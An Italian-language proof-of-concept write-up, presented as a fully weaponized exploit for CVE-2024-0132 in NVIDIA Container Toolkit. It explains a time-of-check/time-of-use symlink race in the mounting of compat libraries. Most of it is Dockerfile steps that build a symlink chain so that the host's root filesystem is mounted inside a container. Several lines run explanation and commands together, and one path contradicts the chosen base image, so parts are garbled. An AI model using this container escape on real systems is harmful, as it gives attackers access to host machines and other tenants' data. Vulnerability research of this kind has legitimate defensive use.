
CVE-2024-0132 – Exploit completamente armato per NVIDIA Container Toolkit
PoC di CVE-2024-0132
Iniziamo scegliendo un'immagine di base. La disposizione delle librerie nel sistema dipende da quale sarà. Ad esempio, per alpine sarà /usr/lib64/, per ubuntu sarà /usr/lib/x86_64-linux-gnu. Useremo ubuntu come immagine di base.
FROM ubuntu
Il Container Toolkit di NVIDIA verifica le librerie in /usr/local/cuda/compat/ all'interno del container e poi le monta nella directory principale delle librerie, che per questa immagine (ubuntu) sarebbe /usr/lib/x86_64-linux-gnu.
Vengono montati anche i link, quindi puoi montare qualsiasi file e directory dall'immagine a /usr/lib/x86_64-linux-gnu. Questo verifica che il link venga risolto all'interno del container; non può utilizzare più ../ per il path traversal. Tuttavia, questo può essere aggirato utilizzando il mount nel container tramite /usr/local/cuda/compat/ due volte, da cui TOCTOU.
Leggi di più sul meccanismo di montaggio da /usr/local/cuda/compat/:
RUN mkdir -p /usr/local/cuda/compat/
Crea due directory:
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
Il nome libdxcore.so è scelto per soddisfare i filtri. La versione major (1337) deve essere diversa dalla versione reale del driver.
Crea due link in /usr/local/cuda/compat/:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ con /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs su /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Durante il controllo sarà un file normale, ma al momento del mount sarà un link che si trovava in /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, quindi il filesystem dell'host verrà montato in /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2